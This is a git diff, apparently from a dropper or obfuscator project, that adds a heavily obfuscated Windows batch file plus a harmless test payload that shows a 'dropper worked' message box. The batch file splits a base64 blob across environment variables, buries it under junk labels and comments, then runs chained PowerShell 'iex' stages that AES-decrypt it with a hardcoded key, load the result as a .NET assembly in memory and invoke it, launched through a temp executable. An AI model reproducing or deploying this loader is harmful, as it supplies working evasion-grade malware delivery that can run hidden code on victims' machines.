zjITd5Oni+mWhSLtpckB7OtdVb8iFqszo5YMDu3L9+PethiSadCYgQ/u35QJX6R80O37KOTXvgRmdmJLl9BiTib3SlDKC30EYBhZAYd7zOkqBRwIFm4PDXNv/oFJDw++JJzJ5Wk7xYyHSiQgDybvBOjmcDE4nRd7A8+4FZFYPTtYfo4xl1fg8V+GKNdAKCLrny42zuVNWdPC1o5+kw2s261MMzYVd8NnoaODgKCTrEnoUzrl6AEUJKqLJaNdpFlpANuQMNY71ewaBkxku+yv9OYWSxQL3qKxuYHGLHX8OaESLkQg4WHZh8Z4cOEA0add8WzQIdBqLXXvhzt+FwNQgRX7TsgzbuDNOkvUNgkl8rLNkg7OoXN5zkNiAlBPRzQbvTX3JxPw/VCP4c4RRr3+PEtubkcnvgbu5QJAFdOA+S+tKXVxPaiQZhs/G7Z8LedJNWM+vJtZe+dhVmSLLUPAPWA1sgEerbZpqLW79+CtRAMim5cH09ji6miyyYYwEjAsKRH8FC6L5IEPMYT5wbpH8X9qIfS+jGa0yfewdrQmXwKLbOpUcv+vOUJKflnqsmDU9Eyu4kpJaBEGG5IPK3SnwKYqYKWUwae6UPMZYWFiEMf8xTMS2N/GYbZ6XdcIe58Nbk0XsNe6djYgP5s7Pd2RJzP8gSrwOEubnMSp5C+fCJXnbrBZ4qpHP7CkUoBY1kZOPzh3ij316pvT1w+xyQ64ysDODICjkVuXlXPz83aT6mUpWj6reFOQnneS54C999wd019+cYGJuf+RO+rMKju6hsvr2M4yV+6qAmrw+6qhBLjpb30AMWND/gLfAuWxYLYDuDW5vZrN92lADSncmJ550ubSp9s7Uqh3g91m79Wiv5psCo1/ZuAfV49GiRHn38VyLmgYOkyi229WOyykPNsMbYIvQo04rVoJ7LwIP5SRe27p/8KPkWRU9Y4RtepRqVu+yW1LIFC+lR/xCIl4+Qyt93oHtOeqYsIEm786LkXPeSOpfo1J1M2tZM2XvyyOvO7rBpyMEYjcOBr1K3iNPGB2uBjeq57TRfbFuuCpUfHtP1KRxXMpbhTjtBXxVwGuFTsG2D2y1yTstujId7aZK2wc9n7ITx++/Xbv7PTAB4Ln5H9AAvvgOI0d+JlcVOwz4jWroxzxy8513UA7II0ZmXxEkwI4XkGcvYh3QUz+auQAhLPECtprkriPi1u4glgyaRG8G34cnx+kbOxPACLPNXEXsyJ+SYMHKMM0iyHu/DxK57n96N5Xt+8c+ZPrjKFzm05kYElv5UXuOxuEK2k6n/U+WfUrKKXRdZVtR7ZdBFOIB2omBA8nv0lyQUrW10Uq5cQRBD0injJFMPga4iWq/UYol/XEwNeSm9WsO21SqI7H52gt5Vjhc2Fpv7kyx/4TC6JZ54Ijsi3RtGpgK/evJ3NvBpY8KbhRmsl191i7061/aXJgZAzrb3ZTEYi/V9tRKXMX5sJjdQEV7w5mQsf0SpPyCrhnR4kjiCPQYaVoWAeESAMm3h+XVJwBONCLsBlsDt3DxGcDJy9V4vGQ5EXb3hmaghXrXP0RmKxpR/9rxMl4ksOvDYXBUhnv7rybxmpHimGmy0OTI/PUieyUZG6DlJoA/TliO8MuBktwTKVrToRTkZxsVExDEwLuoiQZeihfQ7kyv04w9ZP6Jpgt86vl9uWsp6aqNiZDm6m+iBQf8fWdTo+C8snCCK9NYBM

+seT VZZxiJ=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

+G%AZuFGEzpEr%O%uDBSt8%TO :loVbqSt

+r%G5bDS4W%em %tjGshdcrY4% nuxidi kobuqe noguvinisey

+:loVbqSt

+G%AB45xTb%o%TPy9axRKD%To :r0US_IJ6e

+%JKygEsf5%Rem %afplLP% hiquwufoqe gufomuyi muqafujojof

+r%ljipHy8NaiQb%eM %GtloPLHa9% golosumas gejayulizi gicoba dumo

+:r0US_IJ6e

+:K)sP6S

+SEt "Qwlbxl6uMum=NI6HgwBglFW4!"

+r%sPTHuR%EM %vk5cp37l% gacoyemoboxo wosul kimewemuhehu xaf qaherosenebu

+G%Qzy4SxGrE0%o%JO165kjs%to :jKEfEV

+R%cKQvAzMWx%em %Ni16PInwgT2% qupubedob wowaroyike nibetekur jafifasoma levamosujovo hilunupero zabatic civ ridale sujar

+:jKEfEV

+SET "PxCEnrjV3Qj=VZZxiJ"

+%FPCy3zSS%rem %nmTtWJi0Gbpp% wabelizuluzo tutibovera meci zehijezoci lupakaj qixeyi cacefi zivafo qofef bebofewu

+g%JjzzDfOfNq%O%ouapIVn%TO :h8Lck

+r%KoNAfGG%eM %Q8hYqI8ZC14X% jirefejuyap wida yahorefubo jasuyi naw yinahot juzukayalowa qofopexige

+:h8Lck

+SeT "r922dS02=%Qwlbxl6uMum%%PxCEnrjV3Qj%"

+G%smeOOSl%o%B7ewuLQx8I%to :Wcm9pelZIt

+%EIxjjUXr%rem %qlJlGZfiA1D% xojepujikini loqewazovoy qukud nusorej weyiduzoqoh

+%ankOES%REm %A4goDtAkL% hexibufipen vepa xogo denobeda pufogideroyo cavemogeti sogu yeceqas raq fer

+:Wcm9pelZIt

+G%acYlbdrF%o%INX8eR12%tO :LJPMn}

+g%zecz2YC%O%V6aQvBZfjcqc%To :iai]VvPw3

+r%yf9xI4R2%Em %vLnz5Jxv2b27% vamumeyusi zomadunive fatog pufeciru

+:iai]VvPw3

+%ikPBtjbY%Rem %rZOPfaCO% meliyoga xowiy ruropizu qevurid jiniq

+:LJPMn}

+:vHJb2c

+%n9663qhb%SEt "aRONYbr=$cGMai3NZF = [System.Security.Crypto%cQgAVh9YPr%graphy.AESCryptoS%MNpIr%erviceProvid%vXkQx%er]::new();$cGMai3NZF.MoDe = [System.Security.C%VFuGUpNvNf%ryptogra%ooVFSdr%phy.CipherMode]::cbC;$cGMai3NZF.paD%lqeIrZ%ding = [%NBLzg85r9%System.Se%jLTug%c%ULIrx%urity.Cryptography.PaddingMode]::PKcS7;$cGMai3NZF.kEy = [byte[]]@(115,92,186,245,6,18,128,19,82,112,3,54,130,174,76,56,134,9,208,64,26,48,193,192,50,96,36,30,47,151,152,130);%uw2BBqnsQp%$pFYImD = [%zrR9er3%Convert%g5lYF%]::FromBase64String(-join ($env:r922dS02.Split('!')).For%DOtFu%Each({(Get-Item "env:$_").Value}));$cGMai3NZF.IV = $pFYImD[0..15];$CulggDU=$cGMai3NZF.cREAtEDecRypTOR();$sELNt5=$CulggDU.tRANsfORmfInaLBLock($pFYImD[16..$pFYImD.Length], 0,$pFYImD.LenGT%HotyWCmnXp%H-16);$BRNze8B7 =[System.Reflection.Assembly]::lOaD($sELNt5%AdVVKT0aP%);$BRNze8B7.eNt%W4UgNGH%RYPoI%XE4ckiLLjB%NT.Invoke($null, $null);"

+G%ZctziB6jOBnF%O%py7dSy45TA%to :el)eZw5vG

+%Mq923yLSO%:: %tEkOjFWv% pazicu dobi dewik jon solocawudun

+%HhVJkomWeOvy%rEm %mgsszJbTdo% qasejuyisade nuxa neyow nerajarewi fayepelozi wiyahutir leviwovu lugocuxocazi lanejuce

+g%UhZModgM4%o%E0owf5%TO :Q8F3h({}M

+%KQR9k6%:: %l3NDzA% seger jonatazi lojuboduya fuqevijor hetexewezu biremaloyat

+:Q8F3h({}M

+R%F61XUuftphT%EM %lWGqrH39a% hitija miguwifigu pogoqewetute fejasoparew qevoyari funo nobilavunuju haxekewiq

+:el)eZw5vG

+set "tEUIeOIm=iex $env:aRONYbr"

+G%a0YgR9wD%o%quAUEODa2Ic2%to :cNPB(D8

+%Vw0IMxx%rem %U96vkW% gihofe mopumi dicawoxapope yew gef jagotak cahuyen hakewifaxi koxejucukaq quyu

+G%ALAWXR%o%IVhYlEXJZ%To :ED}3J

+%eTZD2V%ReM %nHQA7tXoq% wobu wuzukefexa xuvihebon xalomin jomaciy cujohabobi luwuwuz xigotojep

+:ED}3J

+%R0TYku56%:: %bHX3L7% giyifemi rad feresamoq

+g%h9H6T3pPJ%O%TDnpe0LTFZ%TO :GQnjJ9c

+r%MDOYEVILexmE%Em %n3Qjn65XpVH% wameyemume wimedos litamefexapa kekojupuziva mavosigifa raqedu

+R%RYcd3xkvFO%em %aw3Zl3TemCb% migivotop pokaki wiwihowosef mipijiderazi nahehiyibuto xaxe xezugegima rilajiwe zicedo

+%STwk1mBlL7o%:: %WTapUzo% biyazo turiruxud picuxohic femuloq sega vik buyad

+:GQnjJ9c

+:cNPB(D8

+G%aQPDLbTMfP%O%KPPMgdUBum3%to :rFi{wW

+%EStePrH9U5%:: %BJ6SiMLxq% qukafiva yehunafuduzu xih gel nugix sixaxezuni vasunanodimi

+r%H1zw2iyFd4%EM %gziycs0H% xuhedop tojanomofova guv

+%cE6T28G%:: %OHv8xTT% yamifaqelivi difuz hole yotekowu zuxotuzejip

+:rFi{wW

+Set "B0DQdcd=$mvfA1SV6b7 = [ScriptBlock]::Create('').Ast; $FXoBC7 = [System.Management.Automation.Language.ScriptBlockAst]::new($mvfA1SV6b7.Extent,$null,$null,$null,$FXoBC7.EndBlock.Copy(),$null); iex $env:tEUIeOIm"

+g%MGLH5Izfc%o%jplkicbDdZWy%To :s(5PS(i

+%IvYeh1Q3Zbsg%:: %ZR2DG92fg% titozine yebodabojena zuxociluju natecowi tuyatopiwuza fipip likupas

+r%ky1as4ZDt2H%Em %qBKKOJX% yiworen cequmalay kube cewulufukih domelupazija lanan xiku

+%kAblPu%:: %QAC0NmBCoRJ% yad muludu gaxiderotohi qolayuge gifonagar yafajawediw sisomiba fiwucilam

+:s(5PS(i

+sEt "NijWO3s=$G77EhKvG = [ScriptBlock]::Create('').Ast; iex $env:B0DQdcd"

+g%kx8CeYpHt%o%zl9Lke4oShkm%TO :OLyvj6}

+%q5mhWAbpa5%:: %znFdlj% xivuded poleqiqayaz wucewe pikira vur vesewopur larixa jobinawaca

+%stTccv8PDrHG%rEm %XrOzMTU% kapo dicizuxucim hogome qihisidabuk rupabubo dinixukuqi sawuculuqok qupof modijeyomen

+:OLyvj6}

+%OygaYAMY%set "ItL7d9OQ=Start-Sleep -Seconds 1;iex $env:NijWO3s"

+g%lVeR6D%o%cg4Ge4c4MLF%To :zQ)L_

+R%FEbRCXSx%Em %rX7fnLD% hejipit yuqoviv vavo foyu gip qiti meqot

+%istH4CuI%ReM %huprhWwUL7% cax gipet doyonaz bakex fuq

+:zQ)L_

+G%TDlDMnPtBC4%O%Riig8iN3Z%TO :MUy8[}

+r%uRSqCZ%Em %zIgZ38% pigiheromawo cafili yoxiv mopoviqugika febetoja

+:MUy8[}

+%qIrWv8sIK9l%set "PkiLljG=$i8Kkys = 'placeholder'; iex $env:ItL7d9OQ"

+G%kUHAEBzPj8%o%tlkNnh2NTC%TO :OrZ]k}VB2

+%f4qkXogNPx7e%REm %OUaS2qp% kuxegufaz cepo sezu gokawaqul

+%ZrJDSaVZdpZ%:: %zujzOrskcTB% lafefuyixaf dataga vewo hiba

+%cdUGNVD%REm %CFGs8W% mizacu sidaxe qazibutifime howewu gemalac

+:OrZ]k}VB2

+:kQ9UE

+%uK5D8TVG%SEt "ioiv9Gfy=iex $env:PkiLljG"

+g%rBGGa8%o%bvDtAoYJG2%To :TbRvpTY

+g%keXHI4G2t%O%zzyp2l960%to :g0BIR1}E

+%UvmdVmmvGZKu%Rem %rxYmhC2epuuG% kecocipapido las venori

+R%n9I7gp%em %cafxrKOmC7% nerocux xuqa kizeyoh sonutu nugoyate rataluxetiw nuk mozotaxap kisu xuzob

+:g0BIR1}E

+%N75ocw%REm %Q6MkZXkqdmY% ziyez seqowigusutu xiciqob zugaj hayid rolefo zocipakog quj favuhuci

+%los3b4Mc3%rEm %I4T8K7z2p% mikajobunumi caqehi zumugucegi yofuj faqe vitudi

+:TbRvpTY

+start %tmp%\OPuEp14bB.exe --headless powershell -c %ioiv9Gfy%

+g%RCEz21%O%emFxDTwUDH%To :G0B4RPSl

+%PzEF3Jy%REm %NwlkpYfrY2n% vacijinec vata yotur lamifemobiya vupano pireyofihe jerejorixa wuy

+%KR37LxqHzt5z%REm %iZzgmyZjONQW% sixeset tejo fesacisefuce lovuvekanen copetifiwu payujecuhad riricunelah kenenayayo zolowixef caj

+%Cj4L3I%:: %XFPJOT% hahobeligim lalopato tetadalih

+%uP1M4WZc6%:: %b3o3hBj2Nq5Z% zokogip duqo zibawihot popamen horusatu qujiko

+%hsK9QyiM4%REm %BAbON8uHT% qudufene lilopikohi joravaj delez

+%FwFE5yeDAm%REm %fpn9UQSK% suze heya saf wuyoma kuyibog wexufegito rug gizusa liwapo

+r%f67A3NxdQV%Em %XKcC2bD5M% kefuqabozom junu seceboqorubi garuxir wohuzey ziyuse sisocugawuji

+R%AvmrYNr5G%eM %fXNkrc7FI% mumevoranaqa yabivekede kasehig ric

+:G0B4RPSl
\ No newline at end of file
diff --git a/testexe and outputs/testpayload.cs b/testexe and outputs/testpayload.cs
new file mode 100644
index 0000000..695bf1a
--- /dev/null
+++ b/testexe and outputs/testpayload.cs	
@@ -0,0 +1,11 @@
+using System;
+using System.Windows.Forms;
+
+class Program
+{
+    [STAThread]
+    static void Main()
+    {
+        MessageBox.Show("hello from .NET payload!\n\nIf you see this, the dropper worked.", "payload executed", MessageBoxButtons.OK, MessageBoxIcon.Information);
+    }
+}
\ No newline at end of file
diff --git a/testexe and outputs/testpayload.exe b/testexe and outputs/testpayload.exe
new file mode 100644
index 0000000..f622f37
Binary files /dev/null and b/testexe and outputs/testpayload.exe differ